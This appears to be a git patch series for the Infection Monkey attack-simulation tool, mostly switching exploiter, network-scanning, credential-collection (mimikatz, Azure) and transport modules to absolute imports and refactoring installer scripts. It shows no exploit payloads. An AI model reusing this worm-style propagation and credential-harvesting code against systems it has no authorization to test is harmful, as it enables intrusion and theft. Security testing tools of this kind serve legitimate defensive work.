b/monkey/infection_monkey/exploit/sambacry.py @@ -15,11 +15,12 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE from impacket.smbconnection import SMBConnection -import monkeyfs -from exploit import HostExploiter -from model import DROPPER_ARG -from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.model import DROPPER_ARG +from infection_monkey.network.smbfinger import SMB_SERVICE +from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth __author__ = 'itay.mizeretz' @@ -52,7 +53,7 @@ class SambaCryExploiter(HostExploiter): def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def exploit_host(self): if not self.is_vulnerable(): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index bca03b6ea..91f8a4768 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,12 @@ from random import choice import requests -from exploit import HostExploiter -from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import MONKEY_ARG -from shellshock_resources import CGI_FILES -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.exploit.shellshock_resources import CGI_FILES +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'danielg' @@ -29,7 +30,7 @@ class ShellShockExploiter(HostExploiter): def __init__(self, host): super(ShellShockExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( choice(string.ascii_uppercase + string.digits diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d3b27f79d..7e6b68b20 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,12 +3,13 @@ from logging import getLogger from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT -from exploit import HostExploiter -from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth -from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS -from network import SMBFinger -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS +from infection_monkey.network import SMBFinger +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline LOG = getLogger(__name__) @@ -23,8 +24,8 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b93970ca9..6be9621cc 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -3,12 +3,13 @@ import time import paramiko -import monkeyfs -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from model import MONKEY_ARG -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.monkeyfs as monkeyfs +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'hoffer' @@ -22,7 +23,7 @@ class SSHExploiter(HostExploiter): def __init__(self, host): super(SSHExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._update_timestamp = 0 self.skip_exist = self._config.skip_exploit_if_file_exist diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py index dbbd8070a..31586417c 100644 --- a/monkey/infection_monkey/exploit/tools.py +++ b/monkey/infection_monkey/exploit/tools.py @@ -17,11 +17,12 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMBConnection, SMB_DIALECT -import monkeyfs -from network import local_ips -from network.firewall import app as firewall -from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.network import local_ips +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port, get_routes +from infection_monkey.transport import HTTPServer class DceRpcException(Exception): @@ -173,8 +174,7 @@ class SmbTools(object): @staticmethod def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - - config = __import__('config').WormConfiguration + config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) @@ -466,7 +466,7 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d def build_monkey_commandline(target_host, depth, location=None): - from config import GUID + from infection_monkey.config import GUID return build_monkey_commandline_explicitly( GUID, target_host.default_tunnel, target_host.default_server, depth, location) @@ -479,5 +479,5 @@ def get_binaries_dir_path(): def get_monkey_depth(): - from config import WormConfiguration + from infection_monkey.config import WormConfiguration return WormConfiguration.depth diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 85086bce7..b25289543 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,12 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from network import SMBFinger -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.network import SMBFinger +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) @@ -158,8 +159,8 @@ class Ms08_067_Exploiter(HostExploiter): def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 0f9b2ee4c..26cae60c3 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,10 +5,11 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ + get_monkey_depth, build_monkey_commandline +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS LOG = logging.getLogger(__name__) @@ -18,8 +19,8 @@ class WmiExploiter(HostExploiter): def __init__(self, host): super(WmiExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID @WmiTools.dcom_wrap def exploit_host(self): diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 4ff4917b9..98be6895f 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -8,14 +8,11 @@ import os import sys import traceback -from config import WormConfiguration, EXTERNAL_CONFIG_FILE -from dropper import MonkeyDrops -from model import MONKEY_ARG, DROPPER_ARG +import infection_monkey.utils as utils +from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE +from infection_monkey.dropper import MonkeyDrops +from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey -import utils - -if __name__ == "__main__": - sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) __author__ = 'itamar' diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 1296570e1..27c1cc61b 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,4 @@ -from host import VictimHost +from infection_monkey.model.host import VictimHost __author__ = 'itamar' diff --git a/monkey/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec index fac69536e..61a2725c4 100644 --- a/monkey/infection_monkey/monkey-linux.spec +++ b/monkey/infection_monkey/monkey-linux.spec @@ -4,7 +4,7 @@ block_cipher = None a = Analysis(['main.py'], - pathex=['.', '..'], + pathex=['..'], binaries=None, datas=None, hiddenimports=['_cffi_backend'], diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8ad1baf8c..efdb43a3c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -4,18 +4,18 @@ import os import subprocess import sys import time - -import tunnel -import utils -from config import WormConfiguration -from control import ControlClient -from model import DELAY_DELETE_CMD -from network.firewall import app as firewall -from network.network_scanner import NetworkScanner from six.moves import xrange -from system_info import SystemInfoCollector -from system_singleton import SystemSingleton -from windows_upgrader import WindowsUpgrader + +import infection_monkey.tunnel as tunnel +import infection_monkey.utils as utils +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.model import DELAY_DELETE_CMD +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.network_scanner import NetworkScanner +from infection_monkey.system_info import SystemInfoCollector +from infection_monkey.system_singleton import SystemSingleton +from infection_monkey.windows_upgrader import WindowsUpgrader __author__ = 'itamar' diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index cb9c6130e..07e9e81d3 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -2,7 +2,7 @@ import os import platform a = Analysis(['main.py'], - pathex=['.', '..'], + pathex=['..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index a1df9d2e9..abd08460e 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -18,12 +18,12 @@ class HostFinger(object): def get_host_fingerprint(self, host): raise NotImplementedError() -from ping_scanner import PingScanner -from tcp_scanner import TcpScanner -from smbfinger import SMBFinger -from sshfinger import SSHFinger -from httpfinger import HTTPFinger -from elasticfinger import ElasticFinger -from mysqlfinger import MySQLFinger -from info import local_ips -from info import get_free_tcp_port + +from infection_monkey.network.ping_scanner import PingScanner +from infection_monkey.network.tcp_scanner import TcpScanner +from infection_monkey.network.smbfinger import SMBFinger +from infection_monkey.network.sshfinger import SSHFinger +from infection_monkey.network.httpfinger import HTTPFinger +from infection_monkey.network.elasticfinger import ElasticFinger +from infection_monkey.network.mysqlfinger import MySQLFinger +from infection_monkey.network.info import local_ips, get_free_tcp_port diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 730decf4f..3d62de687 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -5,8 +5,9 @@ from contextlib import closing import requests from requests.exceptions import Timeout, ConnectionError -from model.host import VictimHost -from network import HostFinger +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger ES_PORT = 9200 ES_SERVICE = 'elastic-search-9200' @@ -21,7 +22,7 @@ class ElasticFinger(HostFinger): """ def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """ diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 437edbf6c..829c6b1b5 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,16 +1,18 @@ -from network import HostFinger -from model.host import VictimHost +import infection_monkey.config +from infection_monkey.network import HostFinger +from infection_monkey.model.host import VictimHost import logging LOG = logging.getLogger(__name__) + class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS] @staticmethod diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 39baa05ac..70080c12b 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -1,9 +1,10 @@ import logging import socket -from model.host import VictimHost -from network import HostFinger -from .tools import struct_unpack_tracker, struct_unpack_tracker_string +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' @@ -20,7 +21,7 @@ class MySQLFinger(HostFinger): HEADER_SIZE = 4 # in bytes def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """ diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 563b04b6d..cc0788154 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -1,11 +1,11 @@ import logging import time -from config import WormConfiguration -from info import local_ips, get_interfaces_ranges from common.network.network_range import * -from model import VictimHost -from . import HostScanner +from infection_monkey.config import WormConfiguration +from infection_monkey.network.info import local_ips, get_interfaces_ranges +from infection_monkey.model import VictimHost +from infection_monkey.network import HostScanner __author__ = 'itamar' diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 7162c36f3..075b57669 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -4,8 +4,9 @@ import re import subprocess import sys -from model.host import VictimHost -from . import HostScanner, HostFinger +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostScanner, HostFinger __author__ = 'itamar' @@ -20,7 +21,7 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._devnull = open(os.devnull, "w") self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index 9ccb52422..ab92f2761 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -1,10 +1,11 @@ import socket import struct import logging -from network import HostFinger -from model.host import VictimHost from odict import odict +from infection_monkey.network import HostFinger +from infection_monkey.model.host import VictimHost + SMB_PORT = 445 SMB_SERVICE = 'tcp-445' @@ -100,7 +101,8 @@ class SMBSessionFingerData(Packet): class SMBFinger(HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + from infection_monkey.config import WormConfiguration + self._config = WormConfiguration def get_host_fingerprint(self, host): assert isinstance(host, VictimHost) diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py index 89c3092d7..21deb8814 100644 --- a/monkey/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -1,8 +1,9 @@ import re -from model.host import VictimHost -from network import HostFinger -from network.tools import check_tcp_port +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +from infection_monkey.network.tools import check_tcp_port SSH_PORT = 22 SSH_SERVICE_DEFAULT = 'tcp-22' @@ -14,7 +15,7 @@ LINUX_DIST_SSH = ['ubuntu', 'debian'] class SSHFinger(HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) @staticmethod diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index e291e8d3e..d8e861590 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,8 +1,9 @@ from itertools import izip_longest from random import shuffle -from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +import infection_monkey.config +from infection_monkey.network import HostScanner, HostFinger +from infection_monkey.network.tools import check_tcp_ports __author__ = 'itamar' @@ -11,7 +12,7 @@ BANNER_READ = 1024 class TcpScanner(HostScanner, HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def is_host_alive(self, host): return self.get_host_fingerprint(host, True) diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 667ff9890..fbfbcbd7a 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -5,8 +5,8 @@ import sys import psutil from enum import IntEnum -from network.info import get_host_subnets -from azure_cred_collector import AzureCollector +from infection_monkey.network.info import get_host_subnets +from infection_monkey.system_info.azure_cred_collector import AzureCollector LOG = logging.getLogger(__name__) @@ -112,7 +112,7 @@ class InfoCollector(object): Updates the credentials structure, creating it if neccesary (compat with mimikatz) :return: None. Updates class information """ - from config import WormConfiguration + from infection_monkey.config import WormConfiguration if not WormConfiguration.extract_azure_creds: return LOG.debug("Harvesting creds if on an Azure machine") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 65f326256..f221fce5a 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -3,6 +3,8 @@ import ctypes import logging import socket +import infection_monkey.config + __author__ = 'itay.mizeretz' LOG = logging.getLogger(__name__) @@ -17,7 +19,7 @@ class MimikatzCollector(object): try: self._isInit = False - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 610c4e8e3..0a46322cd 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,7 +1,7 @@ import logging -from mimikatz_collector import MimikatzCollector -from . import InfoCollector +from infection_monkey.system_info.mimikatz_collector import MimikatzCollector +from infection_monkey.system_info import InfoCollector LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 970905a9c..9f56c238e 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -3,7 +3,7 @@ import logging import sys from abc import ABCMeta, abstractmethod -from config import WormConfiguration +from infection_monkey.config import WormConfiguration __author__ = 'itamar' diff --git a/monkey/infection_monkey/test/config__test.py b/monkey/infection_monkey/test/config__test.py index accdd5a49..fc51e0141 100644 --- a/monkey/infection_monkey/test/config__test.py +++ b/monkey/infection_monkey/test/config__test.py @@ -6,9 +6,9 @@ import unittest from mock import Mock, patch -import control +import infection_monkey.control as control -from config import GUID +from infection_monkey.config import GUID class ReportConfigErrorTestCase(unittest.TestCase): diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 651964fcb..961ff3c9a 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,4 +1,4 @@ -from ftp import FTPServer -from http import HTTPServer +from infection_monkey.transport.ftp import FTPServer +from infection_monkey.transport.http import HTTPServer __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py index dae0ff072..e6a5bc366 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -3,6 +3,7 @@ from threading import Thread g_last_served = None + class TransportProxyBase(Thread): def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''): global g_last_served diff --git a/monkey/infection_monkey/transport/ftp.py b/monkey/infection_monkey/transport/ftp.py index c90f8c484..4849f570e 100644 --- a/monkey/infection_monkey/transport/ftp.py +++ b/monkey/infection_monkey/transport/ftp.py @@ -1,4 +1,6 @@ -import socket, threading, time +import socket +import threading +import time import StringIO __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 8d07fd155..c2ad996dd 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -7,8 +7,8 @@ import urllib from logging import getLogger from urlparse import urlsplit -import monkeyfs -from base import TransportProxyBase, update_last_serve_time +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index eaa94de1c..e910e657f 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -1,9 +1,10 @@ import socket import select from threading import Thread -from base import TransportProxyBase, update_last_serve_time from logging import getLogger +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time + READ_BUFFER_SIZE = 8192 DEFAULT_TIMEOUT = 30 diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 9a50679ff..d589ac98b 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -5,11 +5,11 @@ import time from difflib import get_close_matches from threading import Thread -from model import VictimHost -from network.firewall import app as firewall -from network.info import local_ips, get_free_tcp_port -from network.tools import check_tcp_port -from transport.base import get_last_serve_time +from infection_monkey.model import VictimHost +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import local_ips, get_free_tcp_port +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.transport.base import get_last_serve_time __author__ = 'hoffer' diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index e2f66bd03..664fcef44 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,7 +2,7 @@ import os import sys import struct -from config import WormConfiguration +from infection_monkey.config import WormConfiguration def get_monkey_log_path(): diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 4ee0462c5..67b1c3cbd 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -5,12 +5,12 @@ import shutil import time -import monkeyfs -from config import WormConfiguration -from control import ControlClient -from exploit.tools import build_monkey_commandline_explicitly -from model import MONKEY_CMDLINE_WINDOWS -from utils import is_windows_os, is_64bit_windows_os, is_64bit_python +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.model import MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' From 36230fa25cb4015d398d56d7b3f1ca14b3994091 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 15:40:13 +0300 Subject: [PATCH 097/243] monkey island can now be run from both monkey_island.py and run_cc.bat --- monkey/monkey_island.py | 4 ++++ monkey/monkey_island/cc/main.py | 6 +++++- monkey/monkey_island/windows/run_cc.bat | 2 +- 3 files changed, 10 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py new file mode 100644 index 000000000..104b5efdf --- /dev/null +++ b/monkey/monkey_island.py @@ -0,0 +1,4 @@ +import monkey_island.cc.main + +if "__main__" == __name__: + monkey_island.cc.main.main() diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 722009aa9..b23fd4cf7 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -14,7 +14,8 @@ from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up -if __name__ == '__main__': + +def main(): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop @@ -36,3 +37,6 @@ if __name__ == '__main__': print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() + +if __name__ == '__main__': + main() diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat index 56f349c7b..e86b5a145 100644 --- a/monkey/monkey_island/windows/run_cc.bat +++ b/monkey/monkey_island/windows/run_cc.bat @@ -1,4 +1,4 @@ @title C^&C Server @pushd .. -@monkey_island\bin\Python27\python monkey_island\cc\main.py +@monkey_island\bin\Python27\python monkey_island.py @popd \ No newline at end of file From ddaeb7dbf82067f1e7895c759a5271564f792b5d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 20:48:04 +0300 Subject: [PATCH 098/243] more fixes to deb --- monkey/monkey_island/deb-package/DEBIAN/postinst | 4 ++-- monkey/monkey_island/linux/ubuntu/systemd/start_server.sh | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 00d3b78f1..b5523f0ed 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -5,11 +5,11 @@ INSTALLATION_FOLDER=/var/monkey/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv -pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER +pip2 download --exists-action i virtualenv -d $INSTALLATION_FOLDER virtualenv -p python2.7 ${PYTHON_FOLDER} # install pip requirements -${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER +${PYTHON_FOLDER}/bin/python -m pip download --exists-action i -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt -d $INSTALLATION_FOLDER # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} diff --git a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh index 21ba14f58..978e02fe5 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh +++ b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh @@ -1,4 +1,4 @@ #!/bin/bash cd /var/monkey -/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file +/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file From 97e5b9663766bb98610bcfa7c47b3172601dd521 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 15 Feb 2018 11:06:01 +0200 Subject: [PATCH 099/243] Opportunistic waiting, make get_tcp_ports O(timeout) rather than timeout. --- infection_monkey/network/tools.py | 28 +++++++++++++++++++--------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..100806171 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -8,6 +8,7 @@ DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 LOG = logging.getLogger(__name__) +SLEEP_BETWEEN_POLL = 0.5 def struct_unpack_tracker(data, index, fmt): @@ -126,15 +127,24 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): LOG.warning("Failed to connect to port %s, error code is %d", port, err) if len(possible_ports) != 0: - time.sleep(timeout) - sock_objects = [s[1] for s in possible_ports] - # first filter - _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) - for s in writeable_sockets: - try: # actual test - connected_ports_sockets.append((s.getpeername()[1], s)) - except socket.error: # bad socket, select 